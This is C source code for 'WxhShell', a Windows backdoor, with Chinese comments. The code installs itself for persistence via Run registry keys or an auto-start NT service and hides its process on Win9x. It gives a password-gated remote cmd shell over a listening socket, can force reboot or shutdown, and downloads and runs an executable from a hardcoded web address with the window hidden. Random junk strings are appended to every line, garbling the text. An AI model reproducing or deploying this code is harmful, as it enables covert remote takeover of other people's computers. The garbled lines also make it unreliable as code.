    if(Boot(SHUTDOWN)) fys5-1@-p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xi?P(s A  
    else { r}oURy,5  
    closesocket(wsh); `&u<aLA  
    ExitThread(0); bvip bf[m<  
    } 0Oc}rRH(C  
    break; 8 _4l"v p  
    } H ~[LJ5x  
  // 获取shell Gpdv]SON{  
  case 's': { y8w0eq94  
    CmdShell(wsh); &\1'1`N1  
    closesocket(wsh); kRN|TDx(  
    ExitThread(0); iY ^{wi~?  
    break; selP=Q!  
  } |jahpji6  
  // 退出 "WYA  
  case 'x': { <$jKy3@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pgn_9Y?<  
    CloseIt(wsh); RDs,sj/Y9?  
    break; 9W1;Kb|Z<  
    } T!l mO?Q  
  // 离开 ^oQekga\l  
  case 'q': { LkJ$aW/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |H ^w>mk  
    closesocket(wsh); @J-plJ4e  
    WSACleanup(); n$.1Wk"  
    exit(1); xi6 80'  
    break; wVgi+P  
        } 2c}B  
  } ow2M,KU6Z  
  } Z0e-W:&;kF  
a(8>n Z,V  
  // 提示信息 {]&R8?%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bj@x$v#/^  
} "A%MVym."  
  } luW <V>  
C/F@ ]_y  
  return; 'sj9[o@]  
} xN6?yr  
I+0c8T(:  
// shell模块句柄 za,6 du6  
int CmdShell(SOCKET sock) Q>kiVvc  
{ 5pO]vBT  
STARTUPINFO si; y:Z$LmPc<  
ZeroMemory(&si,sizeof(si)); __ 8&Jv\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~\2;i]|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !0`lu_ZN  
PROCESS_INFORMATION ProcessInfo; wi>DZkR  
char cmdline[]="cmd"; sNL+F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [!W5}=^H  
  return 0; ZQ|5W6c  
} >yX/+p_  
FIH@2zA  
// 自身启动模式 bn$)f6%  
int StartFromService(void) 5i6VZv  
{ ri:,q/-  
typedef struct UanEzx%  
{  q$F)!&  
  DWORD ExitStatus; \UOm]z  
  DWORD PebBaseAddress; ?fV?|ZGZI  
  DWORD AffinityMask; 7m\vRMK  
  DWORD BasePriority; y>`5Kyj3-@  
  ULONG UniqueProcessId; :WVSJ,. !  
  ULONG InheritedFromUniqueProcessId; 2SYKe$e  
}   PROCESS_BASIC_INFORMATION; Wj&nUp{  
"9w}dQ  
PROCNTQSIP NtQueryInformationProcess; z?)He)d  
^ESUMXb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E30Ln_^o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +s ULo  
GLCAiSMz[  
  HANDLE             hProcess; _C20 +PMO  
  PROCESS_BASIC_INFORMATION pbi; SyAo, )j  
e gI&epN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]w!0u2K<Q\  
  if(NULL == hInst ) return 0; LX\)8~dp  
b:1 L@8s;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L!,d"wuD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "Kq>#I'%W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q4/909x=  
+p z}4M`  
  if (!NtQueryInformationProcess) return 0; eeW`JG-E  
~g7m3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q6R Eh;$  
  if(!hProcess) return 0; _lX8K:C(  
DHv2&zH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pw\P<9e=  
U7h(-dV   
  CloseHandle(hProcess); P\AqpQv  
6Hk="$6K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'C^;OjAg  
if(hProcess==NULL) return 0; {~_ Y _-  
m'bi\1Q  
HMODULE hMod; cI:-Z{M7z  
char procName[255]; LTXz$Z]  
unsigned long cbNeeded; [1SMg$@<  
FY4T(4#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h&`y$Jj  
RYy,wVh}  
  CloseHandle(hProcess); f@d9Hqr+l;  
g*J@[y;  
if(strstr(procName,"services")) return 1; // 以服务启动 ~8{sA5y  
 Gq1)1  
  return 0; // 注册表启动 I]9 C_  
} Hhl-E:"H`  
$gvr -~  
// 主模块 X#`dWNrN  
int StartWxhshell(LPSTR lpCmdLine) R,,Qt TGB  
{ v@n_F  
  SOCKET wsl; #K|9^4jt  
BOOL val=TRUE; ]C!?HQ{bsf  
  int port=0; ~*-qX$gr  
  struct sockaddr_in door; S-c ^eLzQ  
n_23EcSy  
  if(wscfg.ws_autoins) Install(); )];aIA$  
q7_+}"i  
port=atoi(lpCmdLine); FnE6?~xa  
|<c WllN  
if(port<=0) port=wscfg.ws_port; +~35G:&:  
:m ZYS4L~  
  WSADATA data; WU)Ss`s \  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fzPZ|  
bK*~ol  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =;ICa~`C;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e;(  
  door.sin_family = AF_INET; &%,DZA`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qZ+H5AG2  
  door.sin_port = htons(port); <[i}n55  
3CZS)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sn{tra  
closesocket(wsl); d5!!Ut  
return 1; MKg,!TELe  
} ;Gd~YGW^#  
75NRCXh.  
  if(listen(wsl,2) == INVALID_SOCKET) { #g9ZX16}  
closesocket(wsl); J2M(1g)t9  
return 1; mYv(R!37'  
} D/ Dt   
  Wxhshell(wsl); :YO@_  
  WSACleanup(); L:R<e#kgS  
^3~e/PKM  
return 0; | C+o;  
FHg0E++?  
} N#k61x  
&c%Y<1e`%  
// 以NT服务方式启动 =RsXI&&vh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8@\7&C(g17  
{ [hh/1[   
DWORD   status = 0; vHKlLl>*2  
  DWORD   specificError = 0xfffffff; o\=n4;S  
r'4:)~]s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ))T>jh   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K=\O5#F?3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p]T"|!d  
  serviceStatus.dwWin32ExitCode     = 0; 7Y( 5]A9=  
  serviceStatus.dwServiceSpecificExitCode = 0; E"PcrWB&  
  serviceStatus.dwCheckPoint       = 0; I;MD>%[W,  
  serviceStatus.dwWaitHint       = 0; q|(W-h+  
mUP.rb6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TzG]WsY_  
  if (hServiceStatusHandle==0) return; G| m4m.  
27Emm c  
status = GetLastError(); 7 hw .B'7  
  if (status!=NO_ERROR) &^.57]  
{ EqB)sK/3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; el PE%'  
    serviceStatus.dwCheckPoint       = 0; 3iX?~  
    serviceStatus.dwWaitHint       = 0; 9S7A!AKE  
    serviceStatus.dwWin32ExitCode     = status; H)(jh  
    serviceStatus.dwServiceSpecificExitCode = specificError; zJN7<sv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K|r Lkl9  
    return; 5Fw - d  
  } 2N [=  
LHYLC>J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~$,qgf  
  serviceStatus.dwCheckPoint       = 0; 6 ,b"  
  serviceStatus.dwWaitHint       = 0; j?i#L}.I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F7}-!  
} 6g:|*w  
A#y@`} ]!'  
// 处理NT服务事件,比如:启动、停止 \Y|*Nee}XP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {]N3f[w  
{ PAF8W lg  
switch(fdwControl) 7(a2L&k^  
{ dY!Z  
case SERVICE_CONTROL_STOP: nHXX\i  
  serviceStatus.dwWin32ExitCode = 0; :!TI K1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qSU| =  
  serviceStatus.dwCheckPoint   = 0; ]+ Ixi o  
  serviceStatus.dwWaitHint     = 0; HLK@xKD<  
  { X[$++p .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P ,mN >  
  } Sus;(3EX  
  return; QO;4}rq  
case SERVICE_CONTROL_PAUSE: b{7E;KyY,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )7cb6jCU  
  break; X@A1#z+s0]  
case SERVICE_CONTROL_CONTINUE: 5g5'@vMN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xyh.N)  
  break; n~IVNB*  
case SERVICE_CONTROL_INTERROGATE: N_C;&hJN$w  
  break; (8a#\Y[b  
}; ts~{w; c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  a*dQ _  
} NZLAk~R;0  
io2)1cE&f  
// 标准应用程序主函数 \%jVg\4 '  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V4w=/e _  
{ Q 9F)  
#\rwLpC1u  
// 获取操作系统版本 ]2SI!Ai7  
OsIsNt=GetOsVer(); rJyCw+N0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ' I}: !Z  
kma?v B  
  // 从命令行安装 p*QKK@C  
  if(strpbrk(lpCmdLine,"iI")) Install(); Pt,ebL~  
"\%On >  
  // 下载执行文件 7E$&2U^Js  
if(wscfg.ws_downexe) { L:nXWz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {}~:&.D  
  WinExec(wscfg.ws_filenam,SW_HIDE); :a[Ihqfg  
} }GwVKAjP  
&?,U_)x/  
if(!OsIsNt) { >`RRP}u=u  
// 如果时win9x,隐藏进程并且设置为注册表启动 -NGK@Yk22  
HideProc(); \*T"M*;  
StartWxhshell(lpCmdLine); IIFMYl gF  
} fK}h"iH+K  
else Rfb?f} j  
  if(StartFromService()) upn~5>uCP  
  // 以服务方式启动 PG%0yv%  
  StartServiceCtrlDispatcher(DispatchTable); dhPKHrS  
else p&p.Q^"ok  
  // 普通方式启动 &7mW9]  
  StartWxhshell(lpCmdLine); Pn.bVV:  
={2!c0s  
return 0; -;(Q1)&  
} @LE[ac  
}Nj97 R  
cV K7  
j-@kW'K  
=========================================== ,Dmc2D  
M+>`sj  
Pf_F59"  
Ue:z1p;g  
jjs&`Fy,  
Fe&qwq"  
" hi2sec|;<  
0*%&>  
#include <stdio.h> U'( sn  
#include <string.h> Fqq6^um  
#include <windows.h> VaZn{z  
#include <winsock2.h> *V^ #ga#A  
#include <winsvc.h> =s97Z-  
#include <urlmon.h> /c# `5L[  
4Cb9%Q0  
#pragma comment (lib, "Ws2_32.lib") !cW[G/W8  
#pragma comment (lib, "urlmon.lib") tq50fq'  
w FtN+  
#define MAX_USER   100 // 最大客户端连接数 4DWwbO  
#define BUF_SOCK   200 // sock buffer OKOu`Hz@  
#define KEY_BUFF   255 // 输入 buffer m*0,s  
_W!p8cB  
#define REBOOT     0   // 重启 EpPf _ \o  
#define SHUTDOWN   1   // 关机 X&m'.PA  
>RI>J.~  
#define DEF_PORT   5000 // 监听端口 u`:hMFTID  
3:/'n  
#define REG_LEN     16   // 注册表键长度 HjNxqaljt  
#define SVC_LEN     80   // NT服务名长度 ,1{Ep`  
?kw&=T !  
// 从dll定义API Oc?+M 5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eL D?jTi'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f7de'^t9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XEM'}+d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `<"m%>  
NF$\^WvYSP  
// wxhshell配置信息 i7[uLdQ  
struct WSCFG { &xZyM@  
  int ws_port;         // 监听端口 g&/p*c_  
  char ws_passstr[REG_LEN]; // 口令 V:NI4dv/R  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7cg*|E@  
  char ws_regname[REG_LEN]; // 注册表键名 U_yE& 6 T  
  char ws_svcname[REG_LEN]; // 服务名 ^}yg%+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8G%yB}pa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,38Eq`5&W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m(OvD!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &sVvWNO#2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !|?e7u7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SU_SU".  
~q +[<xR\  
}; a@d=>CT$  
4B+9z^oQ  
// default Wxhshell configuration [p r"ZQ]  
struct WSCFG wscfg={DEF_PORT, Eu<1Bse;  
    "xuhuanlingzhe", %!Q`e79g8  
    1, (LAXM x  
    "Wxhshell", eBN)g^  
    "Wxhshell", ?|;yVew  
            "WxhShell Service", _cDF{E+;  
    "Wrsky Windows CmdShell Service", AF\T\mtvRm  
    "Please Input Your Password: ", ^ ?hA@{T/1  
  1, IputF<p  
  "http://www.wrsky.com/wxhshell.exe", pj|pcv^  
  "Wxhshell.exe" ~rbIMF4T`]  
    }; :bU(S<%M  
+m\|e{G  
// 消息定义模块 /G{_7cb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3*_fzP<R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Si}HX!s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TTNk r`  
char *msg_ws_ext="\n\rExit."; 9|' B9C  
char *msg_ws_end="\n\rQuit."; _,h@:Xij  
char *msg_ws_boot="\n\rReboot..."; (3vHY`9  
char *msg_ws_poff="\n\rShutdown..."; -#`c5y}P  
char *msg_ws_down="\n\rSave to "; y k161\  
-PB[-CX  
char *msg_ws_err="\n\rErr!"; WUdKLx %F  
char *msg_ws_ok="\n\rOK!"; '$|UwT`s  
_K2?YY(#>  
char ExeFile[MAX_PATH]; $.6K!x{(  
int nUser = 0; e>'H IO  
HANDLE handles[MAX_USER]; &FdWFt=X  
int OsIsNt; beY=g7|  
JM$.O;y -  
SERVICE_STATUS       serviceStatus; z(RL<N%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K5Wg"^AHY/  
&6 -k#r  
// 函数声明 yQS+P8x&|]  
int Install(void); dP$GThGl  
int Uninstall(void); % u{W7  
int DownloadFile(char *sURL, SOCKET wsh); e`tLR- &  
int Boot(int flag); mbl]>JsQD  
void HideProc(void); z~6y+  
int GetOsVer(void); Ths_CKwgWY  
int Wxhshell(SOCKET wsl); 0:Xxl76v4  
void TalkWithClient(void *cs); _Yb _D/  
int CmdShell(SOCKET sock); !X >=l  
int StartFromService(void); 5}ie]/[|  
int StartWxhshell(LPSTR lpCmdLine); {X]R-1>  
Uh}seB#mJj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); co4h*?q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7"X>?@  
[t\B6XxT  
// 数据结构和表定义 SM0M%  
SERVICE_TABLE_ENTRY DispatchTable[] = dth&?/MERL  
{ 6Sj6i^"  
{wscfg.ws_svcname, NTServiceMain}, f},oj4P\  
{NULL, NULL} N<|$h5isq  
}; Wx'Kp+9'  
`L;eba  
// 自我安装 xZ5M/YSyG  
int Install(void) YKZrEP 4^  
{ T70QJ=,  
  char svExeFile[MAX_PATH]; NIr@R7MKd  
  HKEY key; iJFs0?*  
  strcpy(svExeFile,ExeFile); $$Vt7"F  
`?\tUO2_T  
// 如果是win9x系统,修改注册表设为自启动 ^62|d  
if(!OsIsNt) { < |O^>s;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~\nBjM2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); inPJ2uBD\^  
  RegCloseKey(key); )Ag/Qep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Rg}+[b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "bg'@:4F  
  RegCloseKey(key); a>4uiFiv  
  return 0; 1xNVdI   
    } SQsSa1  
  } D*5hrkV9  
} PMsz`  
else { fa* Cpt:  
yDb'7(3-  
// 如果是NT以上系统,安装为系统服务 WlB' YL-`g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sH,kW|D  
if (schSCManager!=0) 5/[H+O1;  
{ j83? m  
  SC_HANDLE schService = CreateService <q)4la  
  ( F1;lQA*7K.  
  schSCManager,  uD_v!  
  wscfg.ws_svcname, LL^q1)o  
  wscfg.ws_svcdisp, Hi! Jj  
  SERVICE_ALL_ACCESS, r90+,aLM#?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o 6{\Zzp  
  SERVICE_AUTO_START, (9\;A*CZ  
  SERVICE_ERROR_NORMAL, -!RtH |P  
  svExeFile, {s?M*_{|  
  NULL, )/ Ud^wi  
  NULL, o!TQk{0  
  NULL, PW(\4Q\  
  NULL, )CPM7>  
  NULL -b&{+= ^c  
  ); seFGJfN\?f  
  if (schService!=0) oq/G`{`\  
  { EqiFy"H  
  CloseServiceHandle(schService); 4nfu6Dq  
  CloseServiceHandle(schSCManager); p1pQU={<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S 6,4PP  
  strcat(svExeFile,wscfg.ws_svcname); h-a!q7]l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -Ue$T{;RoH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !"Yj|Nu6  
  RegCloseKey(key); N(6|yZ<J3M  
  return 0; Th[f9H%  
    } V~DMtB7  
  } [sV"ws  
  CloseServiceHandle(schSCManager); :%&Q-kk4!  
} t9 \x%=  
} vgt]:$  
wZT%Ee\D%  
return 1; 5V[oE\B  
} k- V,~c  
A,-6|&F  
// 自我卸载 ]=rht9),"  
int Uninstall(void) _!;Me )C  
{ 0<"k8 k@J  
  HKEY key; _cTh#t ^  
X5fmz%VK@  
if(!OsIsNt) { [AH6~-\x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >F jR9B  
  RegDeleteValue(key,wscfg.ws_regname); r;9 r!$d  
  RegCloseKey(key); 'C$XS>S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ng><n}  
  RegDeleteValue(key,wscfg.ws_regname); o56`  
  RegCloseKey(key); 8 a!Rb-Q:  
  return 0; *D4hq=  
  } k 4/D8(OXw  
} m42T9wSsx  
} 76tdJ!4Z  
else { %:>3n8n  
ZN"j%E{d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =4uSFK_L  
if (schSCManager!=0) J]W5[)L  
{ ^ PI5L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U~{du;\  
  if (schService!=0) L!/\8-&$P  
  { MUOa@O,  
  if(DeleteService(schService)!=0) { E r/bO  
  CloseServiceHandle(schService); 4v p  
  CloseServiceHandle(schSCManager); mOo`ZcTU  
  return 0; IcP)FB 4  
  } $,I q;*7N  
  CloseServiceHandle(schService); zX5!vaEv  
  } j R=s#Xz  
  CloseServiceHandle(schSCManager); *"9><lJ-!  
} GdB.4s^  
} aKU*j9A?;Z  
[{4 MR%--  
return 1; |+  N5z  
} %h1N3\y9i(  
I%|>2}-_U  
// 从指定url下载文件 dd2[yKC`  
int DownloadFile(char *sURL, SOCKET wsh) HM>lg`S  
{ 9a'-Y  
  HRESULT hr; R.7:3h  
char seps[]= "/"; ~['Kgh_;  
char *token; zf3v5Hk  
char *file; 2Q;9G6p  
char myURL[MAX_PATH]; 2VW}9O  
char myFILE[MAX_PATH]; |t$Ma'P  
]weoTn:  
strcpy(myURL,sURL); TW !&p"Us+  
  token=strtok(myURL,seps); FP[!BUOf"  
  while(token!=NULL) }b1cLchl  
  { ?UM*Xah  
    file=token; ,C3,TkA]  
  token=strtok(NULL,seps); fs/*V~@  
  } ? ` SUQm  
bINvqv0v  
GetCurrentDirectory(MAX_PATH,myFILE); E2)h ?cs  
strcat(myFILE, "\\"); w+1Gs ;  
strcat(myFILE, file); [qsEUc+Z.'  
  send(wsh,myFILE,strlen(myFILE),0); Z{'i F   
send(wsh,"...",3,0); #^+DL]*l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s+tGFjq  
  if(hr==S_OK) `y+tf?QN  
return 0; .s$z/Jv  
else V|\7')Qq  
return 1; yDNOtC|  
QeF3qXI  
} F5S@I;   
36US5ef  
// 系统电源模块 ||yzt!n  
int Boot(int flag) {k rswh3  
{ [9:9Ql_h  
  HANDLE hToken; ^pHq66d%Z  
  TOKEN_PRIVILEGES tkp; f 2l{^E#h  
qWw\_S  
  if(OsIsNt) { (p%>j0<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F2X0%te  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (h:Rh  
    tkp.PrivilegeCount = 1; Mw9 \EhA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o6$4/I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _UuC,Pl3  
if(flag==REBOOT) { 1^gl}^|B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8V~vXnkM  
  return 0; &c1A*Pl/:G  
} (W}bG>!#Q8  
else { y!xE<S&Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Fu~%~#E$  
  return 0; 2#k5+?-c61  
} <tioJG{OT  
  } u{L!n$D7  
  else { =FD;~  
if(flag==REBOOT) { }NB}"%2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -lv)tHs<  
  return 0; S{3nM<  
} tsk)zP,<  
else { ={u0_j W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wl}&?v&@  
  return 0; 64 5z#_}C$  
} f7}*X|_Y  
} Dih3}X&jn$  
[ +P#tIL  
return 1; h yv2SxP*  
} ]LM-@G+Jz  
b".L_Ma1*  
// win9x进程隐藏模块 %.vVEy  
void HideProc(void) B/n[m@O  
{ M+x,opl  
Si~vDQ7"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IY*EA4>  
  if ( hKernel != NULL ) 3)RsLI9  
  { Qa.u Mq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %'T #pz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #BST lz  
    FreeLibrary(hKernel); \nP>:5E1  
  } Sf r&p>{,  
Z:_D0jG  
return; ()H:UvM=t  
} y\x+  
!Ta>U^ 7  
// 获取操作系统版本 BXyo  
int GetOsVer(void) Hik3wPnp  
{ I&YSQK:b  
  OSVERSIONINFO winfo; \W`w` o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5+wAzVA  
  GetVersionEx(&winfo); $r3i2N-I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M4W5f#C5Ee  
  return 1; LupkrxV  
  else 0c#/hFn  
  return 0; ,tg0L$qC  
} OiP!vn}k  
r4#o+qE  
// 客户端句柄模块 'f?$"U JF  
int Wxhshell(SOCKET wsl) .AU)*7Gh  
{ RG4sQ0  
  SOCKET wsh; l(#)WWr+  
  struct sockaddr_in client; jt.3P  
  DWORD myID; |u;v27  
6w@ Ii;  
  while(nUser<MAX_USER) mtj h`  
{ WH \)) y-  
  int nSize=sizeof(client); Zg.&V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +) m_o"hl  
  if(wsh==INVALID_SOCKET) return 1; ;I!MLI  
%p 0xM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f-7 1~  
if(handles[nUser]==0) FJ6u.u  
  closesocket(wsh); `FC(  
else 5hy""i  
  nUser++; 2Roc|)-47  
  } 0a"c2J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0p\@!Z H  
) v,:N.@Q  
  return 0; O7$hYk  
} |x-S&-  
X7g1:L1Ys  
// 关闭 socket dB5b@9*  
void CloseIt(SOCKET wsh) ..R-Ms)k=  
{ q+vx_4  
closesocket(wsh); qm8&*UuKJ  
nUser--; w&KK3*=""  
ExitThread(0); se>MQM5 )  
} _}En/V_  
$+I;oHWI  
// 客户端请求句柄 hHMN6i  
void TalkWithClient(void *cs) 6ZQwBS0Y  
{ 2j[&=R/.  
K]9"_UnN  
  SOCKET wsh=(SOCKET)cs; BFOq8}fX2  
  char pwd[SVC_LEN]; u9EgdpD  
  char cmd[KEY_BUFF]; e;[F\ov %  
char chr[1];  W0]gLw9*  
int i,j; dp*u9z~NA  
9BuSN*4  
  while (nUser < MAX_USER) { 8!Ww J Oe  
a,WICv0E  
if(wscfg.ws_passstr) { #Q`dku%V:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jyZWV L:_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Z%U`,S  
  //ZeroMemory(pwd,KEY_BUFF); vTx2E6  
      i=0; ] A+?EE2/  
  while(i<SVC_LEN) { 0PrLuejz  
gY8>6'~mS  
  // 设置超时 vG"=h%  
  fd_set FdRead; w_{wBL[3e  
  struct timeval TimeOut; uvG]1m#  
  FD_ZERO(&FdRead); ^kB8F"X  
  FD_SET(wsh,&FdRead); bq:(u4 3  
  TimeOut.tv_sec=8; FK5 <6n,U  
  TimeOut.tv_usec=0; n4#;k=mA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pv Gf\pu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S-|)QGxV6  
-3=#u_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TmV,&['mg  
  pwd=chr[0]; xM&Wgei]10  
  if(chr[0]==0xd || chr[0]==0xa) { /VN f{p  
  pwd=0; CyXR i}W.  
  break; #/<&*Pu5t  
  } TO?R({yx*  
  i++; 9vvx*rD  
    } 1R1 z  
Nbi.\  
  // 如果是非法用户,关闭 socket zIu E9l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SX# e:_  
} Lja>8m  
ne_TIwfw-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2h1vVF3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :6 Lx@  
h_+dT  
while(1) { [Q/TlOt5  
m;GbLncA  
  ZeroMemory(cmd,KEY_BUFF); 7KAO+\)H^Y  
<?riU\-]y  
      // 自动支持客户端 telnet标准   +oovx2r&  
  j=0; K|hjEQRv  
  while(j<KEY_BUFF) { 3 +G$-ru  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 65 #'\+  
  cmd[j]=chr[0]; :?g:~+hfO  
  if(chr[0]==0xa || chr[0]==0xd) { V`XNDNJ:  
  cmd[j]=0; vnM@QfN  
  break; b2OQtSr a  
  } KmA;HiH%J  
  j++; DkvF5c&  
    } , P70J b  
<FcG oGK  
  // 下载文件 =,_ +0M9  
  if(strstr(cmd,"http://")) { 8TLgNQP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g" .are'7  
  if(DownloadFile(cmd,wsh)) hog=ut  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -y8`yHb_  
  else )GM41t1i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FrL]^59a  
  } %t" CX5 n  
  else { DVB{2~7 4  
XBb~\p3y  
    switch(cmd[0]) { 3L_\`Ia9  
  $_o-~F2i5  
  // 帮助 s/q7.y7n{  
  case '?': { O&4SCVZp  
